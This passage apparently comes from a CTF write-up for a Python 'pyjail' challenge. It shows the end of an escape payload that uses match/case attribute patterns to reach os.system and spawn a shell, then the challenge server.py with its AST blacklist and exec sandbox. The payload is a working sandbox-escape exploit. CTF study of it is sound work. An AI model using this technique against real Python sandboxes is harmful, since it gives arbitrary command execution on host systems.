            case [_,t,r,_,o,b,_,_,c,_,_,_,_,_,_,_,_,space,s,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_l,_,u,f,_,_,_,_,_,_,_,n,_,_,d,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,a,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,m,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,p,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,x,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,h,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,l,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,i,_,g,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,dot]:
                pass
match ():
    case object(__class__=cla):
        match cla:
            case object(__base__=bas):
                pass
match bas:
    case object(__subclasses__=subs):
        pass
match subs():
    case object(pop=po):
        match po(-((((()==())+(()==()))**((()==())+(()==())))+(((()==())+(()==()))**(((()==())+(()==()))*((()==())+(()==())+(()==())))))):
            case object(__init__=ini):
                pass
match ini:
    case object(__globals__=glo):
        match glo:
            case object(get=gt):
                match gt(_l+_l+b+u+i+l+t+i+n+s+_l+_l):
                    case object(get=imp):
                        pass
match imp(_l+_l+i+m+p+o+r+t+_l+_l)(o+s):
    case cc:
        match cc:
            case object(system=sy):
                sy(s+h)
  • server.py
import ast

WELCOME = """
  _____        _       _ _   _   _____ _   _                                 _____ _______   _ _ _ _ 
 |  __ \      (_)     (_) | | | |_   _| | ( )                         /\    / ____|__   __| | | | | |
 | |__) |   _  _  __ _ _| | | |   | | | |_|/ ___   _ __ ___  _   _   /  \  | (___    | |    | | | | |
 |  ___/ | | || |/ _` | | | | |   | | | __| / __| | '_ ` _ \| | | | / /\ \  \___ \   | |    | | | | |
 | |   | |_| || | (_| | | | |_|  _| |_| |_  \__ \ | | | | | | |_| |/ ____ \ ____) |  | |    |_|_|_|_|
 |_|    \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, /_/    \_\_____/   |_|    (_|_|_|_)
         __/ |/ |                                             __/ |                                  
        |___/__/                                             |___/                                   
"""

HELP = "| Options: \n|\t[G]et Challenge Source Code \n|\t[E]nter into Challenge \n|\t[Q]uit \n\t"

SOURCE_CDDE = r"""import ast

BAD_ATS = {
  ast.Attribute,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance
}



def is_safe(code):
  if type(code) is str and "__" in code:
    return False

  for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
    if type(x) in BAD_ATS:
      return False

  return True  


if __name__ == "__main__":
  user_input = ""
  while True:
    line = input()
    if line == "":
      break
    user_input += line
    user_input += "\n"

  if is_safe(user_input) and len(user_input) < 1800:
    exec(user_input, {"__builtins__": BUILTINS}, {})
"""


print(WELCOME)
print(HELP)
print("Python Version:python3.11")
while(1):
  choice = input(">>> ").lower().strip()
  match choice:
    case "g":
        print(SOURCE_CDDE)
    case "e":
        print("pls input your code to escape > ")
        BAD_ATS = {
            ast.Attribute,
            ast.Subscript,
            ast.comprehension,
            ast.Delete,
            ast.Try,
            ast.For,
            ast.ExceptHandler,
            ast.With,
            ast.Import,
            ast.ImportFrom,
            ast.Assign,
            ast.AnnAssign,
            ast.Constant,
            ast.ClassDef,
            ast.AsyncFunctionDef,
        }

        BUILTINS = {
            "bool": bool,
            "set": set,
            "tuple": tuple,
            "round": round,
            "map": map,
            "len": len,
            "bytes": bytes,
            "dict": dict,
            "str": str,
            "all": all,
            "enumerate": enumerate,
            "int": int,
            "zip": zip,
            "filter": filter,
            "list": list,
            "max": max,
            "float": float,
            "divmod": divmod,
            "unicode": str,
            "min": min,
            "range": range,
            "sum": sum,
            "abs": abs,
            "sorted": sorted,
            "repr": repr,
            "object": object,
            "isinstance": isinstance
        }

        def is_safe(code):
            if type(code) is str and "__" in code:
                return False

            for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
                if type(x) in BAD_ATS:
                    return False

            return True

        user_input = ""
        while True:
            line = input()
            if line == "":
                break
            user_input += line
            user_input += "\n"

        if is_safe(user_input) and len(user_input) < 1800:
            exec(user_input, {"__builtins__": BUILTINS}, {})

    case "q":
        print("bye~~~")
        quit()
    case "h" | "help":
        print(HELP)
    case _:
        print("You should select valid choice!")
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇